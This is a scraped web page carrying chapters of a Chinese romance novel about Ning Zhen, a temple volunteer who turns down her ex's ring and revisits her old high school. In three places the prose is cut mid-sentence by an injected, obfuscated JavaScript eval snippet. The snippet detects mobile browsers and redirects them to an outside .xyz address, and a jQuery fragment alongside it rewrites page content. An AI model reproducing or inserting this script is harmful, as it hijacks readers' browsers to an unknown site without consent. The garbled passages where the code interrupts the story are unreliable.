“前几天和你见面的时候我来考察过这块地。鹭山是好地方,山清水秀,现在看不清楚,远处有个小瀑布,还有湖。” 听见他说“这块地”,她忽然明白了什么。 “你要买下这里。” “正在考虑,”他手指轻点,“如果由我接手,以后这里会发展成野生动物保护区,以飞琼的名义。” 飞琼,莫家的集团。她了解的仅限于此。 “保护区,也包括鸟么。” “当然。”莫昭叹息一声,沉入黑暗,“今晚是打算带你来看看夜里的鸟,可惜天不作美。” 宁蓁不动声色转移了话题:“改天吧。太晚了,我明天五点就要起床,你捎我到山下就好,我打车回。” 他笑着,似乎被迫接受她无情的命令。 “帮我找个盒子。” 莫昭微扬下巴,意有所指。宁蓁按开副驾驶座位前的储物格,双手盲目摸索。 一沓杂志和票据,角落里有个缎面方盒,边角圆润。她问:“是这个吗。” “打开吧。”他说。 雨声淅淅沥沥,汹涌潮气从衣领渗入,滑向她光洁的脊背,濡湿肌肤。 她拨开盒子。光线黯淡,精致的环状物被包裹在丝绸里,顶端镶着钻石。 莫昭凝望着她,目不转睛。 “原本是给你的。” 宁蓁听见自己的心跳比雨声更响。 “等我们和好,等你毕业,我就向你求婚。” 仿佛委身于多年前的遗憾,他一向威严高傲的气质变得柔软,变成她掌心里丝滑的缎。 宁蓁垂眸,胸口莫名发酸。 头脑一阵恍惚,回到他们刚在一起的那晚,他稳稳托住醉意朦胧的她,在众目睽睽之下泰然解围。彼时空气里弥漫着酒的酣醺,他薄唇微启,黑曜石般的深眸掠过氤氲的暧昧。 如今,和广阔的天地相比,车内空间局促。香水味、烟味混合雨水的湿气,黏腻地扒在鼻尖。 宁蓁盖上盒子。 啪的一声,仿佛弦也崩断。 “这么珍贵的东西,你好好收着。” 她语气平和,一点都不阴阳怪气。 莫昭目光逡巡,辗转在她单薄衣襟,过一会儿才再度望进她的双眼。 “蓁蓁,你知道么,你的心和你的长相一样。” 宁蓁听着雨,捧起盒子放回原位。 “一样的冷,谁都捂不热。” 8. 鸿鹄计划 回家路上,车里只有音乐。 下山后的路直来直去,香水味儿也几乎散尽。头晕缓解,宁蓁举起手机打开地图导航。 夜里开车,走高速四十分钟就能到,看着看着,微信弹出提示。 「善善请求添加您为好友」 「留言讯息:姐姐好」 宁蓁同意好友申请,点开她的头像。朋友圈里青春气息洋溢,满满都是照片,身穿北城二中校服的,在咖啡店吃蛋糕的,弹钢琴后收到捧花的。 还有成绩单和年级排名。上学期期末考试,她排年级第二,总分664,配文为“努力保持”,后面跟个叹号,图片里毫不遮掩显露出自己的名字:方善善。 上次来了三个女孩子做非遗报告,她是其中梳高马尾、大眼睛的那个,五官像明媚的瓷娃娃。宁蓁能感觉出来,几人中她最开朗,最主动,身上有股收不住的傲气。 晦暗走廊里,抱着果汁背靠墙的时候,方善善的声音也最清晰。 「善善你好。」过十点了,成年人不便干涉高中生作息,她打过招呼就放下手机。 莫昭送她回市区,到路口,离家几百米的地方有个炒货铺,她说停在那儿就行。 两人之间只剩下静默。宁蓁道声谢谢,想自己是不是哪句话说得太重。 “以后我会常去的。”临走前,莫昭开口。 “去鹭山。”她问。 他应声,随后郑重地添了一句,我不会放弃保护区。 藏着潜台词的句子。 宁蓁关上车门。 编织袋像下山闯荡的包袱,毛毛雨落在脸颊,路灯昏暗,砖地湿了一层,比干燥的白天更光滑。 二八自行车依旧倒在那儿无人认领。上楼前,宁蓁望向小区的花坛。 太晚了,孟老太太没再守着花儿打伞。 下次亲自去道谢吧。 时候不早,她回家拿几件东西又匆匆出门。雨云忽远忽近,出行终点设置在漆黑的城市边缘,让人心底隐隐不安。想分享行程,但不能给李肃,怕她多余的担心,也不能给安唯,怕扰了她晚上的梦。 对话列表滑到底,找不到合适的对象。 至多只是在某道对话框多停留一会儿,盯着那个月白色头像。 他们萍水相逢,或许还算不上是朋友。 幸好,接单的是一位年轻女司机,宁蓁上了车,发现副驾驶还坐了个大学生模样的男生。 借路灯的光,她看见后视镜里司机抱歉的笑。“不好意思,夜里跑单,小朋友非要跟着。” 司机言语温柔,长得也漂亮,天生有种引人靠近的亲和力。她旁边的“小朋友”长长叹了口气,貌似不服输,但没有真的还嘴反抗这个称呼。 宁蓁摆手,说不碍事。 “这么晚了还要去山区啊,安全吗?”司机问。 “我去鹭山的福缘寺。” 那男生搭话:“您学佛法吗?” “不是,去做义工。”她解释。 “原来福缘寺也招义工啊。”司机边说边倒车离开小路,“时间不早了,为您方便,高速上我开快点,记得系好安全带。” 旁边的男生仿佛是半个车主,从扶手箱拎起零食袋子哗啦啦地打开,回头问宁蓁想听什么歌。 她突发奇想:“小朋友……应该听儿歌吧。” 纸袋脆响突然断在空气里,开车的女孩没忍住哈哈大笑起来。 想不到司机的歌单里真有儿歌。有些新改编的,有些经久不衰,让人回到童年。宁蓁双眼酸涩,用手捂着闭目养神。 山路绵延,司机坚持送她到山门下。车子一路又快又稳,她向他们挥手,朝上飞奔,碎步像流淌的云絮,终于在十二点前敲开寮房。 “再晚点可就熄灯喽,”门后,安唯张牙舞爪地吓唬她,“你得在宿舍楼外面大喊‘阿姨对不起明天不敢啦’才行了!” 宁蓁累得气喘吁吁,却还是笑:“哪有那么夸张……” “好吧,还以为你今晚外宿,不回来了呢。” “我也没想到山门还开着。”她把包袱里的鸟类图鉴放在桌上。 “看过《倾城之恋》吗?今天没准就是为了你,门才不关的。” 室友抱着胳膊故弄玄虚。当夜,宁蓁找来那篇小说重温,结尾处半阖着眼,任凭那句“谁知道什么是因,什么是果”飘进梦里。【注1】 …… “师姐,你在干嘛?” 身已入梦。宁蓁被吓得一激灵,发现面前立着那位神秘莫测的师弟。 隔了几天,竟然还能连上。 宁蓁心中大感惊奇,嘴巴却不受控制,念出梦中的台词:“思考何为因,何为果。” “高深的话题,”师弟道,“比舞刀弄剑难多了。” 她倚着一块冰冷的石头。眼前之人倾身弯腰,云织的长发垂到她肩膀,她感觉自己这次弄清了他的脸,墨色阴霾之下,眉目如画一样清晰。 她心中忽然动荡,像系在秋千上晃来晃去。 “你到底是何方神圣?” “我是谷里的影子啊。” 宁蓁狐疑地打量他:“哦,是鬼。” 不,其实他有腿。 那双腿修长且直。虽然松垮的玄色长袍遮住他大半腰身,但她就是知道。 为什么呢。她站起来,开始思索。这说明两人不是第一次见面了,她丈量过他的身体,换言之,他真的是她的师弟。 “九师姐,你糊涂了。” 梦里因果倒错颠倒,师弟却不急不躁。 “九师姐?”山谷中泉水轻鸣,喷薄似雪,他们离得远,水汽丝丝柔柔扑在脸上。“谷里还有其他十来个同门?” 她是独生女,从来没有姊妹,在江湖中独行独往,双手一抱拳便替代了繁文缛节,和谁缘分都浅。 师弟摇头道:“谷中从来都只有你和我。” 宁蓁问:“那你为什么叫我九师姐?” 泉水声衬得他嗓音极好听,如坠下来的碎玉。 “因为你的名字就是九师姐。” …… 五点多,视线模糊,梦也模模糊糊剩了个尾巴。 昨夜睡眠不足,她困得发晕,睫毛沉到抬不起来,混混沌沌想着自己的名字是不是叫“宁九蓁”。 枕头松软诱人,可再睡下去就该迟了。一半的心还浸在梦里怦怦直跳,她摸出手机,用静音模式滑开鸰一的视频,给他留言。 “昨天,梦见你了。” 昏昏沉沉的字,昏昏沉沉的脑袋。 过了十分钟,直到安唯从被窝里钻出来,像个幽灵似的闯进卫生间,宁蓁才算清醒。 * 白日依然是那些活儿,那群小鸟啁啾,那碗清淡的斋饭。 听闻午后又有大批香客前来敬佛,这回义工师兄没让宁蓁下去接待,而是派她们在正殿前的树底下备好案台和香火。 两人搬来桌椅。安唯左右张望着:“这么多香火,今天有大人物光临喽。” 宁蓁站在桌旁理香,取三支套进一个纸壳,循环往复。“我看只是人数多而已吧。” 线香散着幽幽白檀香气,安神敛性,纵是心上沟壑遍布亦能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071735|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚平。她手上动作极轻,安唯却做得飞快,一不留神就把纤长的线香折断。 “……”她双手顿了顿,轻扫案台,将断香挪到桌角,“就当做没发生过!” 斜透过窗柩,能觑见大殿里铸像的侧影。宁蓁回身望了望,说:“佛祖可都看见了。” 安唯“啊”了一声,心里难免惦记一些幸运与不幸、祝福和反祝福之类的效应,低落地自言自语。 “真难办啊。” 宁蓁突然觉得愧疚,连忙补充:“这些香是寺里准备的,纯度高,所以软,很容易折……” “好!”安唯话锋一转,脸上又神采奕奕,“理完这些香,蓁蓁你就去休息吧,我一个人对付他们。” 饭后,收拾过斋堂,天色逐渐明亮起来。 宁蓁挡不住天使朋友的热情,也顺势成全对方的想法,让她弥补线香折掉的缘分。 算是某种功过相抵吗,可是安唯散漫、大方、自由,看起来明明不在乎这些。 阳光愈盛,她杵着高粱糜子做的笤帚在院子边角扫落叶。 香客还没到,高挑的男人先出现了,这次他改穿浅米色卫衣,长直的身体线条中添一分和煦的温柔。 宁蓁恍惚间以为那是师弟。 但日有所思,夜有所梦。转念一想,师弟的原型应该是她短视频账号里唯一关注的动捕演员。 沐沐迈开四条腿小跑起来,毛发蓬蓬的,温霖迁就着它,步履快而轻盈。宁蓁总喜欢观察人走路,一口气提着或沉着,或者飘忽不定。他是其中最让人挪不动眼睛的那种,好像能牵动她的呼吸。 低下头,沐沐正对她笑。 福缘寺不是大寺,庭院却不小。宁蓁侧身,擦过他手臂边缘望向山门。 穿着西装的香客零零散散在门口交谈。如果驾车上山,群聚的人流很快就会漫上来。 她下意识抬起手,扯住他的袖口。 “过来。” 温霖脸上闪过一瞬错愕。她转了过去,看见沐沐拖长牵引绳跃到前面,尾巴竖起,晃得停不下来。 必须趁涨潮前逃离。 由于晚睡早起,宁蓁神经迟钝,只这一件事就占据大脑。手指之间捏了块柔滑布料,轻飘飘的,还余着他手腕的温度。 干燥,微微发热。她意识到失礼,蓦地松开手。 宁蓁带他转入小径藏身。古槐遮天,挨着法堂的斑驳红墙,除了诵经讲课的时候几乎无人光顾,徒留清净。 与此地相反,远处人群来势汹汹,聚成压顶的黑云涌入山门。 “别回头。”宁蓁静静叮嘱。 温霖领会她的意思,颔首道谢,嗓音压得低些。 他们绕进法堂与院墙的宽松夹道,看院外落来密密匝匝的枝叶。北城的春天既短又长。不知道为什么,二人都没再讲话,他垂了眼睫,宁蓁被若有似无的草木香气拥着,听远方僧人悠悠撞起梵钟。 脑海中冒出诗句。 前心后心皆此心,梵音妙音柔软音。【注2】 沐沐蹲坐着,扭头,鼻子里传出呼气声。温霖俯身贴近,食指竖在唇边,做个“嘘”的手势。 安静。 她仿佛听见他干净利落的指令。 因为脚步声越来越近。近到某种程度时,呛人的烟味搅浑了空气。 “瞧瞧多大架势,估计这回莫总得老老实实放手喽。” “确实,这次鸿鹄计划,成总势在必得。” “你俩真的,都三年了还闹不明白。成总莫总都是轮流转的风水,最后怎么干,什么时候干,那还得依张董的脸色。” 9. 同框 三个男的,在他们方才躲清净的地方抽烟,味道刺鼻。 寺里禁止吸烟,宁蓁有义务出面制止。 “倚仗谁的脸色,轮不到你们议论吧?” 这时又有人侵入谈话,一道居高临下的男声。 她被熏得双眼泛红。那几个男的却自行掐了烟,被捏住脊梁骨似的,立刻挤眉弄眼赔起笑来。 “哎,是是是。” “成总您说得对……” “你们几个,都是谁部门的?” …… 脚步稀稀拉拉地溜远了。宁蓁越过拐角,地上散着显眼的灰烬。 “看来‘成总’气势压别人一头啊。”温霖打趣道,摸几下沐沐的下巴,解除噤声的指示。 宁蓁想起昨夜莫昭说过的话。 难道“鸿鹄计划”指的是在鹭山建立保护区…… 今日光顾的大批香客,是他以及商业竞争对手的集团? 宁蓁短暂思索,等那些披着西服的背影彻底从小径消失。这类争夺归根结底和她没什么关系,现在,还不如扫净石砖路的烟灰。 “我回去拿笤帚。” “沐沐也去,一起吧。”温霖跟上她。 春意浓了,日光温温柔柔的。俗话说春困秋乏夏打盹。她用手掩着悄悄打个哈欠,脑袋又迷糊了,固执地算起今天犯的两个错误。第一,提醒小唯佛祖看着呢;第二,冒昧去牵他的衣袖。 “昨天没睡好吗。”忽然,他问。 “嗯……”宁蓁鼻腔发酸,双眼涌上困倦的泪水,“我下周要去趟学校。” 谁知道学校和睡眠有什么关联。那股困劲儿盘桓不去,她像晾在太阳底下的新鲜杏子,水分一点点融化,晒成干。 没想到温霖还真接住她的话。“哪个学校,高中?” 沐沐慢下来,立着耳朵好像在听。“是啊,本来不能去的,但是试试看吧。” “学校里是不是有一座湖,湖里面还有鹅。” “我想想,很多年前应该是这样的。” 多自然的对白。但宁蓁原本想说的是下周她可能就要离开福缘寺了。 小径外,香火缭绕,人山人海。 温霖不能再往前走。他病得最严重的时候,睫毛湿成绺,衣服都被身上的冷汗浸透。 笤帚被搁到墙边,附近许多香客漫无目的徘徊着。她往槐树下望了望,坐在那儿发放香火的不是安唯,换成了其他脸生的师兄。 “蓁蓁!” 在庭院边缘,毫不起眼的地方,莫昭竟然能找到她。他也穿深灰色西装,量身定制的硬挺面料,旁边站一位身着袈裟的僧人。 是啊,这么大阵仗,他不可能缺席。 宁蓁彻底醒了。 莫昭拦住她,只管微笑。师父开口说:“那边师兄有事,还要麻烦您处理一下。” 她低眉应和,跑开了。 院子里满眼是整齐西裤和锃亮的皮鞋,唯独宁蓁拖着长长的高粱糜子笤帚,显得风尘仆仆,背影也像沾了灰一样。或许寺里女义工少见,总有人侧目,熙熙攘攘的眼光在后面追着,潦草打量她几个来回。 路途漫长,宁蓁心中有些忐忑,好像工作期间摸鱼被抓包。 事实上的确如此。她困得离谱,怎么会忘记佛祖看着小唯,同时也看着她呢。 义工师兄让她们清理垃圾,恰巧天使朋友同在,于是情况变成了一人拿笤帚扫地,一人蹲在地上用铁簸箕接。 短时间内是走不掉了。她抽空给温霖发过消息,手里攥着酒精湿巾,去拾地上的空饮料瓶。 “为什么不继续发香火,至少能坐着工作。” “唉,别提了。”安唯懊恼地撩一把头发,“我发现我对‘看上去霸总,实际也霸总’的人过敏啊。” “……啊?” 她夸张地说:“他们一靠近,一排起队,我就狂打喷嚏。” 周遭人影幢幢,背后仍然蜷伏着刺挠的视线,但宁蓁笑了出来。 * 傍晚,落日西沉,天边烧着染血似的红。 敬佛活动结束,有人上山,有人下山。 西装革履的男人远离喧嚣,掏出精致的打火机,点燃一根烟夹在手里,踏着鞋跟击撞柏油路面。烟味儿入肺,每吸一口,烟头的火就燃烬,星星点点随风飘走。 他找到他的车。最新款,死寂一般的黑。 车内,他把烟撵在烟灰缸里,捞起手机,慵懒地用拇指敲字。 “陈秘书,帮我查个人。” 嘭。 打火机又冒出火苗。 他单手撑住额角,叼根新的,瞥见公路彼侧。 一辆车,与他平行停着,价格倒是不值一提。假如他是豹子,是狼,那对面的顶多就是只松鼠。 ——有点儿调查价值的松鼠。 他打开车窗,恰巧那辆车也开了窗。 那个人抱着狗。 成年犬,凶相,眼睛泛蓝,呲起尖牙蓄势待发,展示它的咬合力。 原形毕露,危险的小东西。 他吐出一口烟。 白雾萦回,环绕,隔开两个世界。 上位者始终屹立于悬崖顶端,如果对方敢咬,他就敢往下踹。 车子发动。突然,对面的人偏了头颈,看见他。 黑发,漆黑的瞳仁,眼神割破烟雾。 以窗为界,冷静乖戾的回应。 “……就算摔进深渊,我也会笑。” * 星期二,宁蓁收拾了行李。 安唯依依不舍,但没几分钟就得知寺里急缺义工,组长师兄还请她周末再来干一阵儿。 “也许周六回来,你反而不在了。” “放心吧凝真老师,找到灵感之前我不会走,大概一两个月。”小唯拍着胸脯保证。 她真的像她的名字一样,令人感到安全。 宁蓁把鸟类图鉴留在寮房,拎着箱子独自下山。路上,林叶之间传来小鸟的鸣唱,音高,成串,短促优美,尾声轻轻颤。 久远的记忆一晃而过。 小时候,姥爷就拿这种铃铛般的啁啾当作例子,教她吹哨子。 那年,他是顽固的中年人,和如今的李肃差不多年纪。父女俩脾气也相似,风风火火,一点就着,像夏天毒辣的太阳。 他说鸟哨是门古老的技艺,要是连蓁蓁都学不会,世界上就没有别人能学会了。 “传承断代,如何对得起祖宗啊!” 所以她拼命学,吹哨,削竹子,不然就等着吃粗硬的铁尺。后来,大概十一二岁时,一只不起眼的麻雀听懂了她的话,站在枝头啾啾附和,然后是第二只、第三只……鸟结成群,纷纷扬尾展翼,回应她的呼唤。仿佛一刹那间妄念俱灭,那天,她顿悟了,学会以哨音牵动鸟儿的进与退。 这么魔幻的故事,如今的女高中生是不会相信的。 幸好,方善善没有问她。 * 第二天,宁蓁久违地搭上去学校的公交车。 那是个历史悠久的地方。脱胎于基督教神学院,一百五十年前变作私立男塾,后更名为书院。迄今,旧时的拱形校门仍留存于校内,沉睡在羽毛球场后面的茂盛林荫。 学生时代,她几乎不坐公交。 骑自行车是最方便的,迎着晨风,一条小道左拐右拐,二十分钟就到了。门卫在那儿看着,每个学生都得下车,推车走过伸缩门,越过一座喷泉才能再骑上。教学楼分散在深处,当时年级主任喜欢抓迟到,学生们常常极力辩解:已经努力在跑啦,都怪学校太大了。 原来我没忘啊。 公交车到站,宁蓁走下台阶自言自语。当初的记忆还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071736|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋得不够彻底。 「姐姐,我在侧门等你!」 方善善发来微信。 「你知道在哪里吗?」 「我找找看。」 沿着马路向东,路口左转,面对居民楼开出一扇小门。高中生从铁艺栅栏旁边钻出来,朝宁蓁高举双手。 “帮我开门吧叔叔,喏,给你老师的批条。” 方善善袖子里藏着纸片,类似允许外人进入的许可。 门卫是个大爷,头发白了半边。宁蓁视线无意中掠过他的小屋子,里面有椅子,有旧钟表,角落堆着学生的快递,还有一个淡粉色的毛绒玩具。 长而弯的鼻子,只有大食蚁兽长这模样。 “现在是上操时间,”方善善像上次一样主动挽她的手,“我先带你逛逛学校吧!” 女孩子兴致勃勃,名正言顺逃掉一次早操。 宁蓁不想扫她的兴,没坦白自己其实在北城二中念过书。 “首先是校服颜色,姐姐你看他们。” 学生们拉长队伍,陆陆续续跑向操场,校服外套以白色为底,点缀深红装饰。 “二中校服有三种颜色,三年一个轮回。他们是高一的,穿红色。我高二,穿蓝色。高三学长们穿绿色。”方善善解释道。 宁蓁鬼使神差地问:“那初中呢。” 善善笑得明亮:“也是三年一个轮回哦!” 她当年穿的就是蓝色校服。 沉沉的蓝,像静谧的、突然断层的海。 “蓝色最好看了,是吧。” 宁蓁目光黯淡。 “有品味!都说蓝的显白,衬得人气质好,蓝校服那个年级老出帅哥美女呢。” 红色身影已经散尽,高二的才开始下楼,散漫地呼朋唤友。 “哟,善善,今儿又歇啦?” 一个油腔滑调的男生过来讨嫌,圆寸,脸庞倒生得周正。 “好好带你的队,别又被体育老师点名啦。” 方善善一抬下巴,马尾在她脑后摇晃,泼出一股大小姐的骄矜。 学生们总是越忙越有功夫闲。那男生接着和她聊天:“整啥队,你看他们还没下楼呢。这位是善善的姐姐?你们一家人遗传基因都这么优秀啊。” 宁蓁刚要否认,方善善却抢先一步。 “这是我非遗报告的采访人,下午要去我们班展示,你要想看,可以在后门蹲着,让阳阳给你留个门缝儿。” 女孩拉紧她胳膊,察觉不到她手心霎时变冷。 是啊,她是为了展示鸟哨才来的。 尽管噩梦还在,甚至一日比一日刻得更深,但她想试试在全班面前吹奏它会怎样。 如同那天,温霖迎向旅行团,一起上山。 宁蓁轻轻抽出手臂:“可以借用一下洗手间吗?” “好啊,我带你去。” 方善善逆着人流,带她走入高二教学楼。浅灰的建筑,古朴清新。 楼道内赫然贴示着周报、教师介绍和社团通知。宁蓁让她回班里坐一会儿,独自进了卫生间,拧开水龙头。 没有旁人。 广播体操的音乐重重回荡。她一遍遍洗手,洗到皮肤刺痛。 砖墙光洁,镶着透亮的镜子。宁蓁抬起头,眼神湿濛濛的。 今天她难得打扮,穿身淡棕套装,配了长裙和皮鞋,戴顶贝雷帽压住翘起的长发。 配色像侦探。或者,她渴望这种角色,而不是一出生就被绑在尖锐的竹哨上。 侦探得寻找谜题,宁蓁便想起公寓里的场景。走廊幽暗,外面阴雨连绵,她无声无息地哭,任由高中生们肆意的调笑灌进耳朵。 ——“你呀,就知道氪金。” ——“你呢?满脑子都是老王。” 宁蓁眨眨眼,眉毛蹙起。 谁是老王? 10. 走神 出了洗手间,宁蓁再次撞见楼道墙上的张贴栏。 高二年级的优秀教师介绍,每排三张照片,共四列。她看到两个王姓,一位市级骨干,教数学的女老师;另一位教语文,皮肤黝黑,名字颇有文人风骨。 宁蓁盯着那张脸,觉得眼熟。 他竟然还没退休。 明明十年前经常把“退役”“下岗”“我不知道还能干几年”挂在嘴边。 虽然能理解青春期的懵懂情愫,但是…… 宁蓁默默走开,排除了“老师”这个选项。 方善善在十四班,实验班里的顶尖,挨着水房和年级主任办公室。 她敲敲教室前门。女孩子从满桌书本中扬起脸:“这是我们教室,有点乱,你看板报是我画的!” 配合非遗主题,后黑板上画着鸟、竹子和绽开的花,横线上誊写了文字,看不清。 这么认真,这么大张旗鼓。意识又有飞出身体的迹象,但宁蓁迅速拉了回来。 ……得好好观察线索。 声音极弱。方善善转头,直白地问:“啊,什么线?我没听到!” “没什么。”她微笑,“你们画得真好。” 高马尾女孩收下赞美,毫不谦虚。 二中的早操十点开始,算上课间有四十五分钟,足以走马观花。 “我们学校的湖,好看吧!” 她们走上银杏路。方善善抬手指向长桥后的湖面,话里藏着几分炫耀。 北城虽然繁华,有湖水坐落的校园却屈指可数。 “我们学校提倡素质教育,学分制,所以有好多自选课。”方善善继续介绍,“比如校本课,我这学期选的天文,我同学选的日语。” 垂柳碧绿,枝条快要荡入水面。 宁蓁捋了一下头发,想:当时有这门课吗…… “还有艺术课,合唱、书法、中国画。体育也能选,排球、篮球、羽毛球和游泳……哦,不对,游泳是必修课。” 女孩子如数家珍,滔滔不绝。 “看,那座楼里面有个礼堂,每年话剧社都去演出。” 矮楼在不远处,青砖灰浆,漆红窗棂,藤叶的波浪爬了半面墙。 “宁蓁姐姐,猜猜我是什么社团的?” 走着走着,她转过身,站在阳光下。 侦探应该抽丝剥茧。 但宁蓁依着直觉回答:“文学社……?” 方善善睁大双眼,瓷娃娃一样的脸上闪烁惊喜。 她的骄傲不仅源于她自己。显贵的花,得用泛着流光的绸缎点缀,才配得上。 她拽住宁蓁,要带她看看文学社的活动教室。途中两人碰见一条深蓝队伍,初中部操场小,跑道拥挤,为了应对体育中考,初三学生被留在校史馆附近,整队一圈圈地跑。 宁蓁以前羡慕过他们。参天古树荫庇下,与百来年前的灰砖楼捉迷藏,总比单调的塑胶跑道有趣。 “真累人啊,不过他们要考八百米,好惨。”善善说。 长跑锻炼耐力,却磨人。眼见初三的孩子们姿势渐渐走了样,背驼了,手臂乱打横,眼睛都耷拉下来,突然方善善跳到队伍旁,双手拍得脆亮。 “加油啊!跑起来!” 前面的速度快,一旦掉队就很难再追,大家跑得上气不接下气,满地都是苦闷的喘息。 方善善晃着马尾,似乎心情愉悦,小声说:“幸好我没念二中的初中部。” “为什么?” 宁蓁还以为这个女孩中意周围的一切。 她皱皱鼻子,用校服袖子遮掩口型:“跑得像狗,谁路过都能瞧一眼,多丢脸啊。” 像狗。 宁蓁首先想到沐沐,机灵可爱,嘴巴染着粉。 但“狗”和“小狗”是不一样的。 宁蓁没说话,随她闯入高三教学楼。活动教室前门贴着宣纸,上面有三个行书的大字,“文学社”。 “这就是我们社团啦。”方善善站上讲台,敞开双手。 教室内空无一人。桌椅少,书柜多,摆满社团成员自愿带来的文学书籍。黑板留着上次活动的痕迹:《麦克白》,第一幕,主演名单。 宁蓁找一个空位坐下:“社团是高中生专属的吗?” “当然不是喽,兼顾学业的情况下,初中部也能加入。”方善善双手撑着讲台,“上次我们社有个学妹,给我同桌递了情书,我笑死了。” “哪里好笑?” “她才初三诶!那不是小孩子嘛。” 宁蓁心里暗想:你也是小孩子…… 初三和高二都穿蓝色校服,仅外套上臂的图案不同,前者是星星,后者是弯月。但在高中生眼里,戴上弯月标志,就能藏起尾巴,幻化为游刃有余的成年人。 “对了,必须讲讲文学社创社以来的传统活动。” 方善善跃下讲台,跑向教室边角的柜子。 那儿有个木箱,放满信件,信封上不写真实姓名,只写秘密代号。 “写信搭子,每周来往一次,都是匿名的,持续到学期结束才会换。” 现在改成搭子了,以前还叫“鱼传尺素”来着。 宁蓁看着她下撇的嘴角:“你好像有点遗憾。” “因为,我抽签抽到的搭子是个学长。”方善善脸颊鼓起来,“他也还好吧,就是成绩有点次,每次都在信里说不想学习,再这样下去一本都考不上,他老师得多着急啊。” 陌生的语句。 从刚才起,善善的话就显得莫名违和,但她一时找不到症结。 宁蓁仔细斟酌:“信里的事情,不方便和外人分享吧……” “没关系啦,打死我也不会说出他是谁的。” 她继续问:“那他知道你吗?” “不可能!我保密工作做得可好了。” 文学社里有这样的聪明人,出于巧合、笔迹和其他手法弄清匿名信搭子的身份。 但宁蓁以前只把笔友当成树洞。她偶尔猜过,觉得对方应该是个女生,或者是棵悬铃木。 “你喜欢哪种文学?”她转移话题。 “嗯……外国文学吧?” 方善善望向天花板,没一会儿泄了气,坐在她身边。 “姐姐,你别问啦,其实我对文学没什么研究的!” 她好奇:“那为什么不去其他社团。” 女孩黏住宁蓁的胳膊:“因为很多年前有个超级漂亮的学姐就在文学社啊。虽然后来她走了,可是人人都想当‘文学社的漂亮学姐’嘛。” 方善善骄纵,却意外诚实。 想成为漂亮学姐,又把初中生当作小孩,如此推断,“老王”的范围只能锁定在高一年级。 他究竟有多优越?竟然能让大小姐想方设法吸引目光。 快下操了,她们回到高二教学楼。一个女孩和善善碰面,说班主任找她有事。 “姐姐,我得忙啦,你先自己待会儿吧,下午第三节课记得来!” 刚才开朗地迎接,现在爽快地送客人走——完全不内耗的行事风格。 宁蓁停在十四班不知所措,干脆问问班里同学有没有“老王”的消息。 坐在后门的男生看了看她,说话有点磕巴。 “您说班里姓王的男生?呃,我、我就是。还有,那大高个儿,王铄……还有王晓霆,他不怎么搭理人。” 方善善高调张扬,大概只有戴耳钉的摇滚乐吉他手才接得住那份招摇。 但他们都不像。 教室嘈杂,学生们拿着刚买的零食鱼贯而入。 “这样的豆沙包我一口吃俩。” “给我尝尝给我尝尝。” “下节是王大爷的课?完蛋,课文还没背呢。” 说曹操,曹操到,前门探进半个壮实的身子,不动如山,刚才还在叽叽喳喳的男孩们一下就闭嘴了。 实验班需要优秀的语文教师,所以教过宁蓁的王老师就是“王大爷”,理所应当。 她心脏猛地一跳,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071737|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学道声谢,悄悄逃走。 楼道里乱哄哄的。在高中生眼里她是个面生的女人,走得快些,发尾都飘着。 只有宁蓁自己知道她正在逃,如同当年逃离这座学校那样彻底消失。 教学楼模样没变,却像迷宫,当年有道小门作为紧急出口,她循着记忆摸索,飞快从那儿跌出去。 哗啦—— “对不起!” 肩膀钝痛,宁蓁不小心撞上门外人,视线慌乱扫过铺了一地的文件。 化学单元练习卷。 她垂头帮忙捡,对面人也蹲下收拾,试卷边缘顺着手边抽走,锋利的“嘶”的一声。 手指渗出血滴,她拧眉,收了手。 这次轮到对方道歉。 “你别动了,我来。” 那人穿件深色夹克,袖子挽了两折,高鼻梁,头发比学校要求的长。 年轻的化学老师,以前没见过。 宁蓁左手继续捡卷子,整理好递过去。她有随身携带酒精湿巾的习惯,正好撕开一张消毒伤口。 “办公室有创可贴,你等等。” “不麻烦了,很快就能愈合。” 她摆手,反而让那位老师面露难色。他不过二十七八岁,风度翩翩,说话时令人如沐春风。 “马上拿下来。” 他被拒绝,却没放着她不管。新人教师的习惯。 好吧,反正王大爷不会到这附近遛弯。 手指的血珠化在湿巾上,疼得她猛然吸气。 是不是自作多情了,宁蓁想。也许学校里的老师早就认不出她。从十七岁到二十六岁,几乎过去十年了,她又不是唯一的学生,蓝色潮水再翻涌,也改头换面碎成泡沫了。 十年啊,谁还能记得谁呢。 那件事情之后,她转学,每天活得浑浑噩噩,像浸在水里看天上的月亮。 算了,不该伤春悲秋,还是思考善善的证词吧。 ——“社里有个学妹……” ——“抽签抽到的搭子是个学长……” 手机振动几下。福缘寺的师兄通知她最近山里降温,带好衣服和雨具。 “师兄……啊。” 